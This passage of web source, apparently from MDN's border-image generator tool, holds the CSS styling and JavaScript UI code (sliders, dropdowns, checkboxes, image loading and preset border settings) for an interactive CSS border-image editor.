-
-/******************************************************************************/
-/******************************************************************************/
-
-/*
- * Border Image Picker
- */
-
-#gallery {
-	box-shadow: 0 0 3px 0 #BABABA;
-}
-
-#image-gallery {
-	width: 600px;
-	height: 100px;
-	margin: 0 auto;
-	transition: margin 0.4s;
-}
-
-#image-gallery .image {
-	height: 80px;
-	float: left;
-	margin: 10px;
-	opacity: 0.5;
-	background-color: #FFF;
-	box-shadow: 0px 0px 3px 1px #BABABA;
-}
-
-#image-gallery .image[selected="true"] {
-	box-shadow: 0px 0px 3px 1px #3BBA52;
-	opacity: 1;
-}
-
-#image-gallery .image:hover {
-	cursor: pointer;
-	box-shadow: 0px 0px 3px 1px #30ACE5;
-	opacity: 1;
-}
-
-#image-gallery[data-collapsed='true'] {
-	margin-top: -100px;
-}
-
-/* Load Menu */
-
-#load-actions {
-	margin: 10px 0;
-}
-
-#toggle-gallery {
-	width: 30px;
-	height: 25px;
-	margin: 10px;
-	color: #FFF;
-
-	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
-	background-repeat: no-repeat;
-	background-position: top 4px center;
-	background-color: #888888 !important;
-
-	border-radius: 2px;
-	float: left;
-}
-
-#toggle-gallery:hover {
-	cursor: pointer;
-}
-
-#toggle-gallery[data-action='show'] {
-	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
-	background-color: #888888 !important;
-}
-
-#toggle-gallery[data-action='hide'] {
-	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
-}
-
-.button {
-	width: 100px;
-	height: 25px;
-	margin: 10px;
-	color: #FFF;
-	text-align: center;
-	font-size: 12px;
-	line-height: 25px;
-	background-color: #379B4A;
-	border-radius: 2px;
-	float: left;
-}
-
-.button:hover {
-	cursor: pointer;
-	background-color: #3380C4;
-}
-
-#load-image {
-	float: left;
-}
-
-#load-remote {
-	width: 30px;
-	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
-	background-repeat: no-repeat;
-	background-position: center center;
-}
-
-#remote-url {
-	width: 200px;
-	height: 23px;
-	margin: 10px;
-	padding: 0 5px;
-	border: 1px solid #379B4A;
-	border-radius: 2px;
-	float: left;
-
-	transition: width 0.5s;
-}
-
-#remote-url:focus {
-	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
-	border-color: rgba(55, 155, 74, 0.5);
-	width: 450px;
-}
-
-/*
- * Visible Area
- */
-
-#preview_section {
-	position: relative;
-	min-height: 400px;
-}
-
-/* Image Control */
-
-#subject {
-	width: 300px;
-	height: 300px;
-	background-repeat: no-repeat;
-	background-size: 100%;
-	background-color: #FFF;
-	border: 1px solid #CCC;
-
-	position: absolute;
-	z-index: 10;
-	top: 15%;
-	left: 10%;
-
-	box-shadow: 0 0 3px 0 #BABABA;
-	transition-property: width, height;
-	transition-duration: 0.1s;
-}
-
-#subject .guideline {
-	background-color: rgba(255, 255, 255, 0.7);
-	border: 1px solid rgba(0, 0, 0, 0.3);
-	position: absolute;
-}
-
-#subject .guideline:hover {
-	background-color: #F00;
-}
-
-#subject .guideline[data-active] {
-	background-color: #F00;
-	z-index: 10;
-}
-
-#subject .guideline[data-axis='X'] {
-	width: 1px;
-	height: 100%;
-	top: -1px;
-}
-
-#subject .guideline[data-axis='Y'] {
-	width: 100%;
-	height: 1px;
-	left: -1px;
-}
-
-#subject .guideline[data-axis='X']:hover {
-	cursor: w-resize;
-}
-
-#subject .guideline[data-axis='Y']:hover {
-	cursor: s-resize;
-}
-
-
-#subject .relative {
-	position: relative;
-	font-size: 12px;
-}
-
-#subject .tooltip, #subject .tooltip2 {
-	width: 40px;
-	height: 20px;
-	line-height: 20px;
-	font-size: 12px;
-	text-align: center;
-
-	position: absolute;
-	opacity: 0.5;
-	transition: opacity 0.25s;
-}
-
-#subject .tooltip {
-	background: #EEE;
-	border-radius: 2px;
-	border: 1px solid #CCC;
-}
-
-#subject .tooltip2{
-	color: #555;
-}
-
-#subject [data-active] > * {
-	opacity: 1;
-}
-
-#subject .tooltip[data-info='top'] {
-	top: -10px;
-	right: -50px;
-}
-
-#subject .tooltip[data-info='right'] {
-	bottom: -30px;
-	right: -20px;
-}
-
-#subject .tooltip[data-info='bottom'] {
-	top: -10px;
-	left: -50px;
-}
-
-#subject .tooltip[data-info='left'] {
-	top: -30px;
-	right: -20px;
-}
-
-#subject .tooltip2[data-info='top'] {
-	top: -10px;
-	left: -50px;
-}
-
-#subject .tooltip2[data-info='right'] {
-	top: -30px;
-	right: -20px;
-}
-
-#subject .tooltip2[data-info='bottom'] {
-	top: -10px;
-	right: -50px;
-}
-
-#subject .tooltip2[data-info='left'] {
-	bottom: -30px;
-	right: -20px;
-}
-
-/* Preview */
-
-#preview {
-	width: 30%;
-	height: 50%;
-	background-color: #FFF;
-	text-align: center;
-	overflow: hidden;
-	position: absolute;
-	z-index: 10;
-
-	left: 60%;
-	top: 15%;
-
-	border-radius: 2px;
-	border-image-width: 20px;
-	border-image-repeat: round;
-	box-shadow: 0 0 3px 0 #BABABA;
-}
-
-#preview .resize-handle {
-	width: 10px;
-	height: 10px;
-	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
-	position: absolute;
-	bottom: 0;
-	right: 0;
-}
-
-#preview .resize-handle:hover {
-	cursor: nw-resize;
-}
-
-
-/*
- * General controls MENU
- */
-
-#general-controls {
-	padding: 10px 30px;
-	background-color: #FFF;
-	opacity: 0.95;
-	color: #888;
-	/*border-radius: 2px;*/
-	box-shadow: 0 0 3px 0 #BABABA;
-}
-
-#general-controls .property {
-	width: 130px;
-	float: left;
-}
-
-#general-controls .name {
-	height: 20px;
-	margin: 0 10px 0 0;
-	line-height: 100%;
-	text-align: right;
-	float: left;
-}
-
-#general-controls .right {
-	width: 200px;
-	float: right;
-}
-
-#general-controls .ui-checkbox label {
-	height: 10px;
-}
-
-#general-controls .separator {
-	height: 40px;
-	width: 1px;
-	margin: -10px 15px;
-	background-color: #EEE;
-	float: left;
-}
-
-/*
- * Controls
- */
-
-#controls {
-	color: #444;
-	margin: 10px 0 0 0;
-}
-
-#controls .category {
-	height: 190px;
-	min-width: 260px;
-	margin: 10px;
-	padding: 10px;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	float: left;
-
-	box-shadow: 0 0 3px 0 #BABABA;
-	transition: all 0.25s;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-@media (min-width: 880px) {
-	#controls .category {
-		width: 30%;
-		margin-left: 1.66%;
-		margin-right: 1.66%;
-	}
-}
-
-@media (max-width: 879px) {
-	#controls .category {
-		width: 37%;
-		margin-left: 6.5%;
-		margin-right: 6.5%;
-	}
-}
-
-#controls .category .title {
-	width: 100%;
-	height: 30px;
-	margin: 0 0 10px 0;
-	line-height: 25px;
-
-	text-align: center;
-	color: #AAA;
-}
-
-#controls .category:hover .title {
-	color: #777;
-}
-
-#controls .category > .group {
-	border: 1px solid #CCC;
-	border-radius: 2px;
-}
-
-
-/* property */
-
-#controls .property {
-	width: 250px;
-	height: 20px;
-	margin: 5px auto;
-}
-
-#controls .property .ui-input-slider {
-	margin: 0;
-	float: left;
-}
-
-#controls .property .ui-input-slider-info {
-	width: 60px;
-}
-
-#controls .property .ui-input-slider-left {
-	transition: opacity 0.15s;
-    opacity: 0;
-}
-
-#controls .property .ui-input-slider-right {
-	transition: opacity 0.15s;
-    opacity: 0;
-}
-
-#controls .property .name {
-	width: 60px;
-	height: 20px;
-	padding: 0px 10px 0px 0px;
-	text-align: right;
-	line-height: 100%;
-	float: left;
-}
-
-#controls .property .config {
-	width: 20px;
-	height: 20px;
-	float: left;
-	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
-	opacity: 0.5;
-}
-
-#controls .property .config:hover {
-	cursor: pointer;
-	opacity: 1;
-}
-
-#controls .ui-input-slider:hover .ui-input-slider-right {
-    opacity: 1;
-}
-
-#controls .ui-input-slider:hover .ui-input-slider-left {
-    opacity: 1;
-}
-
-#controls .property .ui-dropdown {
-	margin: 0 10px;
-	float: left;
-}
-
-
-#controls .property .ui-checkbox {
-	margin: 0 0 0 16px;
-	float: left;
-}
-
-#controls .property .ui-checkbox label {
-	height: 0.85em;
-	width: 10px;
-}
-
-/* dropdowns */
-#controls .ui-dropdown {
-	width: 50px;
-	height: 1.7em;
-	border-radius: 2px;
-}
-
-#controls .ui-dropdown-select {
-	line-height: 1.6em;
-}
-
-#controls .ui-dropdown-list {
-	top: 20px;
-}
-
-#controls .ui-dropdown-list {
-	border-width: 1px;
-	text-align: center;
-}
-
-#controls .ui-dropdown-list:hover {
-	overflow: hidden;
-}
-
-#controls .border-repeat {
-	margin: 0 0 0 16px !important;
-	width: 80px;
-}
-
-#controls .border-repeat .ui-dropdown-list {
-	height: 6.2em;
-	border-width: 1px;
-	text-align: center;
-}
-
-/* border-image-slice */
-
-
-#border-slice-control .ui-dropdown-list {
-	height: 4.3em;
-}
-
-/* border-image-width */
-
-#border-width-control .ui-dropdown-list {
-	height: 6.2em;
-}
-
-/* border-image-outset */
-
-#border-outset-control .ui-dropdown-list {
-	height: 4.3em;
-}
-
-#aditional-properties .property {
-	width: 200px;
-}
-
-#aditional-properties .ui-input-slider > input {
-	width: 80px !important;
-}
-
-/* unit settings panel */
-
-#unit-settings {
-	padding: 10px;
-	position: absolute;
-
-	background: #FFF;
-
-	font-size: 12px;
-	border-radius: 3px;
-	border: 1px solid #CCC;
-	text-align: center;
-	color: #555;
-
-	position: absolute;
-	z-index: 1000;
-
-	box-shadow: 0 0 3px 0 #BABABA;
-	transition: all 0.25s;
-}
-
-#unit-settings .title {
-	width: 100%;
-	margin: -5px auto 0;
-
-	color: #666;
-	font-size: 14px;
-	font-weight: bold;
-	line-height: 25px;
-	border-bottom: 1px solid #E5E5E5;
-}
-
-#unit-settings .ui-input-slider {
-	margin: 10px 0 0 0;
-}
-
-#unit-settings .ui-input-slider-info {
-	width: 50px;
-	line-height: 1.5em;
-}
-
-#unit-settings input {
-	font-size: 12px;
-	width: 40px !important;
-}
-
-#unit-settings .close {
-	width: 16px;
-	height: 16px;
-	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
-	background-size: 75%;
-
-	position: absolute;
-	top: 4px;
-	right: 4px;
-	opacity: 0.5;
-}
-
-#unit-settings .close:hover {
-	cursor: pointer;
-	opacity: 1;
-}
-
-#unit-settings[data-active='true'] {
-	opacity: 1;
-}
-
-#unit-settings[data-active='false'] {
-	opacity: 0;
-	top: -100px !important;
-}
-
-/*
- * CSS Output Code
- */
-
-#output {
-	padding: 10px;
-	border: 2px dashed #888 !important;
-	box-shadow: none !important;
-	border-radius: 3px;
-	overflow: hidden;
-
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-	user-select: text;
-}
-
-
-@media (min-width: 880px) {
-	#output {
-		width: 63.33% !important;
-	}
-}
-
-@media (max-width: 879px) {
-	#output {
-		width: 87% !important;
-	}
-}
-
-
-#output .title {
-	width: 100%;
-	height: 30px;
-	margin: 0 0 10px 0;
-	line-height: 25px;
-
-	text-align: center;
-	color: #AAA;
-}
-
-#output .css-property {
-	width: 100%;
-	margin: 0;
-	color: #555;
-	font-size: 14px;
-	line-height: 18px;
-	float: left;
-}
-
-#output .css-property .name {
-	width: 30%;
-	font-weight: bold;
-	text-align: right;
-	float: left;
-}
-
-#output .css-property .value {
-	width: 65%;
-	padding: 0 2.5%;
-	word-break: break-all;
-	float: left;
-}
-
-
- -

JavaScript Content

- -
'use strict';
-
-/**
- * UI-SlidersManager
- */
-
-var InputSliderManager = (function InputSliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var InputComponent = function InputComponent(obj) {
-		var input = document.createElement('input');
-		input.setAttribute('type', 'text');
-		input.style.width = 50 + obj.precision * 10 + 'px';
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			var value = parseFloat(e.target.value);
-
-			if (isNaN(value) === true)
-				setValue(obj.topic, obj.value);
-			else
-				setValue(obj.topic, value);
-		});
-
-		return input;
-	};
-
-	var SliderComponent = function SliderComponent(obj, sign) {
-		var slider = document.createElement('div');
-		var startX = null;
-		var start_value = 0;
-
-		slider.addEventListener("click", function(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			setValue(obj.topic, obj.value + obj.step * sign);
-		});
-
-		slider.addEventListener("mousedown", function(e) {
-			startX = e.clientX;
-			start_value = obj.value;
-			document.body.style.cursor = "e-resize";
-
-			document.addEventListener("mouseup", slideEnd);
-			document.addEventListener("mousemove", sliderMotion);
-		});
-
-		var slideEnd = function slideEnd(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			document.body.style.cursor = "auto";
-			slider.style.cursor = "pointer";
-		};
-
-		var sliderMotion = function sliderMotion(e) {
-			slider.style.cursor = "e-resize";
-			var delta = (e.clientX - startX) / obj.sensivity | 0;
-			var value = delta * obj.step + start_value;
-			setValue(obj.topic, value);
-		};
-
-		return slider;
-	};
-
-	var InputSlider = function(node) {
-		var min		= parseFloat(node.getAttribute('data-min'));
-		var max		= parseFloat(node.getAttribute('data-max'));
-		var step	= parseFloat(node.getAttribute('data-step'));
-		var value	= parseFloat(node.getAttribute('data-value'));
-		var topic	= node.getAttribute('data-topic');
-		var unit	= node.getAttribute('data-unit');
-		var name 	= node.getAttribute('data-info');
-		var sensivity = node.getAttribute('data-sensivity') | 0;
-		var precision = node.getAttribute('data-precision') | 0;
-
-		this.min = isNaN(min) ? 0 : min;
-		this.max = isNaN(max) ? 100 : max;
-		this.precision = precision >= 0 ? precision : 0;
-		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
-		this.topic = topic;
-		this.node = node;
-		this.unit = unit === null ? '' : unit;
-		this.sensivity = sensivity > 0 ? sensivity : 5;
-		value = isNaN(value) ? this.min : value;
-
-		var input = new InputComponent(this);
-		var slider_left  = new SliderComponent(this, -1);
-		var slider_right = new SliderComponent(this,  1);
-
-		slider_left.className = 'ui-input-slider-left';
-		slider_right.className = 'ui-input-slider-right';
-
-		if (name) {
-			var info = document.createElement('span');
-			info.className = 'ui-input-slider-info';
-			info.textContent = name;
-			node.appendChild(info);
-		}
-
-		node.appendChild(slider_left);
-		node.appendChild(input);
-		node.appendChild(slider_right);
-
-		this.input = input;
-		sliders[topic] = this;
-		setValue(topic, value);
-	};
-
-	InputSlider.prototype.setInputValue = function setInputValue() {
-		this.input.value = this.value.toFixed(this.precision) + this.unit;
-	};
-
-	var setValue = function setValue(topic, value, send_notify) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = parseFloat(value.toFixed(slider.precision));
-
-		if (value > slider.max) value = slider.max;
-		if (value < slider.min)	value = slider.min;
-
-		slider.value = value;
-		slider.node.setAttribute('data-value', value);
-
-		slider.setInputValue();
-
-		if (send_notify === false)
-			return;
-
-		notify.call(slider);
-	};
-
-	var setMax = function setMax(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.max = value;
-		setValue(topic, slider.value);
-	};
-
-	var setMin = function setMin(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.min = value;
-		setValue(topic, slider.value);
-	};
-
-	var setUnit = function setUnit(topic, unit) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.unit = unit;
-		setValue(topic, slider.value);
-	};
-
-	var setStep = function setStep(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.step = parseFloat(value);
-		setValue(topic, slider.value);
-	};
-
-	var setPrecision = function setPrecision(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = value | 0;
-		slider.precision = value;
-
-		var step = parseFloat(slider.step.toFixed(value));
-		if (step === 0)
-			slider.step = 1 / Math.pow(10, value);
-
-		setValue(topic, slider.value);
-	};
-
-	var setSensivity = function setSensivity(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = value | 0;
-
-		slider.sensivity = value > 0 ? value : 5;
-	};
-
-	var getNode =  function getNode(topic) {
-		return sliders[topic].node;
-	};
-
-	var getPrecision =  function getPrecision(topic) {
-		return sliders[topic].precision;
-	};
-
-	var getStep =  function getStep(topic) {
-		return sliders[topic].step;
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	};
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.value);
-	};
-
-	var createSlider = function createSlider(topic, label) {
-		var slider = document.createElement('div');
-		slider.className = 'ui-input-slider';
-		slider.setAttribute('data-topic', topic);
-
-		if (label !== undefined)
-			slider.setAttribute('data-info', label);
-
-		new InputSlider(slider);
-		return slider;
-	};
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-input-slider');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new InputSlider(elem[i]);
-	};
-
-	return {
-		init : init,
-		setMax : setMax,
-		setMin : setMin,
-		setUnit : setUnit,
-		setStep : setStep,
-		getNode : getNode,
-		getStep : getStep,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe,
-		setPrecision : setPrecision,
-		setSensivity : setSensivity,
-		getPrecision : getPrecision,
-		createSlider : createSlider,
-	};
-
-})();
-
-
-/**
- * UI-DropDown Select
- */
-
-var DropDownManager = (function DropdownManager() {
-
-	var subscribers = {};
-	var dropdowns = [];
-	var active = null;
-
-	var visbility = ["hidden", "visible"];
-
-
-	var DropDown = function DropDown(node) {
-		var topic = node.getAttribute('data-topic');
-		var label = node.getAttribute('data-label');
-		var selected = node.getAttribute('data-selected') | 0;
-
-		var select = document.createElement('div');
-		var list = document.createElement('div');
-		var uval = 0;
-		var option = null;
-		var option_value = null;
-
-		list.className = 'ui-dropdown-list';
-		select.className = 'ui-dropdown-select';
-
-		while (node.firstElementChild !== null) {
-			option = node.firstElementChild;
-			option_value = option.getAttribute('data-value');
-
-			if (option_value === null)
-				option.setAttribute('data-value', uval);
-
-			list.appendChild(node.firstElementChild);
-			uval++;
-		}
-
-		node.appendChild(select);
-		node.appendChild(list);
-
-		select.onclick = this.toggle.bind(this);
-		list.onclick = this.updateValue.bind(this);
-		document.addEventListener('click', clickOut);
-
-		this.state = 0;
-		this.time = 0;
-		this.dropmenu = list;
-		this.select = select;
-		this.toggle(false);
-		this.value = {};
-		this.topic = topic;
-
-		if (label)
-			select.textContent = label;
-		else
-			this.setNodeValue(list.children[selected]);
-
-		dropdowns[topic] = this;
-
-	};
-
-	DropDown.prototype.toggle = function toggle(state) {
-		if (typeof(state) === 'boolean')
-			this.state = state === false ? 0 : 1;
-		else
-			this.state = 1 ^ this.state;
-
-		if (active !== this) {
-			if (active)
-				active.toggle(false);
-			active = this;
-		}
-
-		if (this.state === 0)
-			this.dropmenu.setAttribute('data-hidden', 'true');
-		else
-			this.dropmenu.removeAttribute('data-hidden');
-
-	};
-
-	var clickOut = function clickOut(e) {
-		if (active.state === 0 ||
-			e.target === active.dropmenu ||
-			e.target === active.select)
-			return;
-
-		active.toggle(false);
-	};
-
-	DropDown.prototype.updateValue = function updateValue(e) {
-
-		if (Date.now() - this.time < 500)
-			return;
-
-		if (e.target.className !== "ui-dropdown-list") {
-			this.setNodeValue(e.target);
-			this.toggle(false);
-		}
-
-		this.time = Date.now();
-	};
-
-	DropDown.prototype.setNodeValue = function setNodeValue(node) {
-		this.value['name'] = node.textContent;
-		this.value['value'] = node.getAttribute('data-value');
-
-		this.select.textContent = node.textContent;
-		this.select.setAttribute('data-value', this.value['value']);
-
-		notify.call(this);
-	};
-
-	var createDropDown = function createDropDown(topic, options) {
-
-		var dropdown = document.createElement('div');
-		dropdown.setAttribute('data-topic', topic);
-		dropdown.className = 'ui-dropdown';
-
-		for (var i in options) {
-			var x = document.createElement('div');
-			x.setAttribute('data-value', i);
-			x.textContent = options[i];
-			dropdown.appendChild(x);
-		}
-
-		new DropDown(dropdown);
-
-		return dropdown;
-	};
-
-	var setValue = function setValue(topic, index) {
-		if (dropdowns[topic] === undefined ||
-			index >= dropdowns[topic].dropmenu.children.length)
-			return;
-
-		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		var index = subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	};
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-
-		for (var i in subscribers[this.topic]) {
-			subscribers[this.topic][i](this.value);
-		}
-	};
-
-	var init = function init() {
-		var elem, size;
-
-		elem = document.querySelectorAll('.ui-dropdown');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			new DropDown(elem[i]);
-
-	};
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe,
-		createDropDown : createDropDown
-	};
-
-})();
-
-
-/**
- * UI-ButtonManager
- */
-
-var ButtonManager = (function CheckBoxManager() {
-
-	var subscribers = [];
-	var buttons = [];
-
-	var CheckBox = function CheckBox(node) {
-		var topic = node.getAttribute('data-topic');
-		var state = node.getAttribute('data-state');
-		var name = node.getAttribute('data-label');
-		var align = node.getAttribute('data-text-on');
-
-		state = (state === "true");
-
-		var checkbox = document.createElement("input");
-		var label = document.createElement("label");
-
-		var id = 'checkbox-' + topic;
-		checkbox.id = id;
-		checkbox.setAttribute('type', 'checkbox');
-		checkbox.checked = state;
-
-		label.setAttribute('for', id);
-		if (name) {
-			label.className = 'text';
-			if (align)
-				label.className += ' ' + align;
-			label.textContent = name;
-		}
-
-		node.appendChild(checkbox);
-		node.appendChild(label);
-
-		this.node = node;
-		this.topic = topic;
-		this.checkbox = checkbox;
-
-		checkbox.addEventListener('change', function(e) {
-			notify.call(this);
-		}.bind(this));
-
-		buttons[topic] = this;
-	};
-
-	var getNode =  function getNode(topic) {
-		return buttons[topic].node;
-	};
-
-	var setValue = function setValue(topic, value) {
-		var obj = buttons[topic];
-		if (obj === undefined)
-			return;
-
-		obj.checkbox.checked = value;
-		notify.call(obj);
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	};
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.checkbox.checked);
-	};
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-checkbox');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new CheckBox(elem[i]);
-	};
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	};
-
-})();
-
-window.addEventListener("load", function() {
-	BorderImage.init();
-});
-
-var BorderImage = (function BorderImage() {
-
-	var getElemById = document.getElementById.bind(document);
-
-	var subject;
-	var preview;
-	var guidelines = [];
-	var positions = ['top', 'right', 'bottom', 'left'];
-
-	var makeDraggable = function makeDraggable(elem) {
-
-		var offsetTop;
-		var offsetLeft;
-
-		elem.setAttribute('data-draggable', 'true');
-
-		var dragStart = function dragStart(e) {
-			if (e.target.getAttribute('data-draggable') !== 'true' ||
-				e.target !== elem || e.button !== 0)
-				return;
-
-			offsetLeft = e.clientX - elem.offsetLeft;
-			offsetTop = e.clientY - elem.offsetTop;
-
-			document.addEventListener('mousemove', mouseDrag);
-			document.addEventListener('mouseup', dragEnd);
-		};
-
-		var dragEnd = function dragEnd(e) {
-			if (e.button !== 0)
-				return;
-
-			document.removeEventListener('mousemove', mouseDrag);
-			document.removeEventListener('mouseup', dragEnd);
-		};
-
-		var mouseDrag = function mouseDrag(e) {
-
-			elem.style.left = e.clientX - offsetLeft + 'px';
-			elem.style.top = e.clientY - offsetTop + 'px';
-		};
-
-		elem.addEventListener('mousedown', dragStart, false);
-	};
-
-	var PreviewControl = function PreviewControl() {
-
-		var dragging = false;
-		var valueX = null;
-		var valueY = null;
-
-		var dragStart = function dragStart(e) {
-			if (e.button !== 0)
-				return;
-
-			valueX = e.clientX - preview.clientWidth;
-			valueY = e.clientY - preview.clientHeight;
-			dragging = true;
-
-			document.addEventListener('mousemove', mouseDrag);
-		};
-
-		var dragEnd = function dragEnd(e) {
-			if (e.button !== 0 || dragging === false)
-				return;
-
-			document.removeEventListener('mousemove', mouseDrag);
-			dragging = false;
-		};
-
-		var mouseDrag = function mouseDrag(e) {
-			InputSliderManager.setValue('preview-width', e.clientX - valueX);
-			InputSliderManager.setValue('preview-height', e.clientY - valueY);
-		};
-
-		var init = function init() {
-
-			makeDraggable(preview);
-			makeDraggable(subject);
-
-			var handle = document.createElement('div');
-			handle.className = 'resize-handle';
-
-			handle.addEventListener('mousedown', dragStart);
-			document.addEventListener('mouseup', dragEnd);
-
-			preview.appendChild(handle);
-
-		};
-
-		return {
-			init: init
-		};
-
-	}();
-
-	var ImageReader = (function ImageReader() {
-
-		var fReader = new FileReader();
-		var browse = document.createElement('input');
-
-		var loadImage = function loadImage(e) {
-			if (browse.files.length === 0)
-				return;
-
-			var file = browse.files[0];
-
-			if (file.type.slice(0, 5) !== 'image')
-				return;
-
-			fReader.readAsDataURL(file);
-
-			return false;
-		};
-
-		fReader.onload = function(e) {
-			ImageControl.loadRemoteImage(e.target.result);
-		};
-
-		var load = function load() {
-			browse.click();
-		};
-
-		browse.setAttribute('type', 'file');
-		browse.style.display = 'none';
-		browse.onchange = loadImage;
-
-		return {
-			load: load
-		};
-
-	})();
-
-	var ImageControl = (function ImageControl() {
-
-		var scale = 0.5;
-		var imgSource = new Image();
-		var imgState = null;
-		var selected = null;
-
-
-		var topics = ['slice', 'width', 'outset'];
-		var properties = {};
-		properties['border1'] = {
-			fill			: false,
-
-			slice_values	: [27, 27, 27, 27],
-			width_values	: [20, 20, 20, 20],
-			outset_values	: [0, 0, 0, 0],
-
-			slice_units		: [0, 0, 0, 0],
-			width_units		: [0, 0, 0, 0],
-			outset_units	: [0, 0, 0, 0],
-
-			repeat			: [1, 1],
-			size			: [300, 200],
-			preview_area	: 400
-		};
-
-		properties['border2'] = {
-			fill			: false,
-
-			slice_values	: [33, 33, 33, 33],
-			width_values	: [1.5, 1.5, 1.5, 1.5],
-			outset_values	: [0, 0, 0, 0],
-
-			slice_units		: [1, 1, 1, 1],
-			width_units		: [2, 2, 2, 2],
-			outset_units	: [0, 0, 0, 0],
-
-			repeat			: [2, 2],
-			size			: [300, 200],
-			preview_area	: 400
-		};
-
-		properties['border3'] = {
-			fill			: true,
-
-			slice_values	: [15, 15, 15, 15],
-			width_values	: [10, 10, 10, 10],
-			outset_values	: [0, 0, 0, 0],
-
-			slice_units		: [0, 0, 0, 0],
-			width_units		: [0, 0, 0, 0],
-			outset_units	: [0, 0, 0, 0],
-
-			repeat			: [2, 2],
-			size			: [300, 200],
-			preview_area	: 400
-		};
-
-		properties['border4'] = {
-			fill			: false,
-
-			slice_values	: [13, 13, 13, 13],
-			width_values	: [13, 13, 13, 13],
-			outset_values	: [13, 13, 13, 13],
-
-			slice_units		: [0, 0, 0, 0],
-			width_units		: [0, 0, 0, 0],
-			outset_units	: [0, 0, 0, 0],
-
-			repeat			: [0, 0],
-			size			: [300, 200],
-			preview_area	: 400
-		};
-
-		properties['border5'] = {
-			fill			: false,
-
-			slice_values	: [0, 12, 0, 12],
-			width_values	: [0, 12, 0, 12],
-			outset_values	: [0, 0, 0, 0],
-
-			slice_units		: [0, 0, 0, 0],
-			width_units		: [0, 0, 0, 0],
-			outset_units	: [0, 0, 0, 0],
-
-			repeat			: [0, 0],
-			size			: [300, 200],
-			preview_area	: 400,
-		};
-
-		properties['border6'] = {
-			fill			: false,
-
-			slice_values	: [42, 42, 42, 42],
-			width_values	: [42, 42, 42, 42],
-			outset_values	: [0, 0, 0, 0],
-
-			slice_units		: [0, 0, 0, 0],
-			width_units		: [0, 0, 0, 0],
-			outset_units	: [0, 0, 0, 0],
-
-			repeat			: [2, 2],
-			size			: [350, 350],
-			preview_area	: 500,
-		};
-
-
-		var loadLocalImage = function loadLocalImage(source) {
-			var location = "images/" + source;
-			imgSource.src = location;
-		};
-
-		var loadRemoteImage = function loadRemoteImage(source) {
-			imgSource.src = source;
-			if (selected)
-				selected.removeAttribute('selected');
-			Tool.setOutputCSS('source', 'url("' + source + '")');
-		};
-
-		var pickImage = function pickImage(e) {
-			if (e.target.className === 'image') {
-				selected = e.target;
-				selected.setAttribute('selected', 'true');
-				loadRemoteImage(e.target.src);
-				imgState = e.target.getAttribute('data-stateID');
-			}
-		};
-
-		var loadImageState = function loadImageState(stateID) {
-			if (properties[stateID] === undefined)
-				return;
-
-			var prop = properties[stateID];
-			var topic;
-			var unit_array;
-			var value_array;
-
-			for (var i in topics) {
-				for (var j=0; j<4; j++) {
-					topic = topics[i] + '-' + positions[j];
-					unit_array = topics[i] + '_units';
-					value_array = topics[i] + '_values';
-					InputSliderManager.setValue(topic, prop[value_array][j]);
-					DropDownManager.setValue(topic, prop[unit_array][j]);
-				}
-			}
-
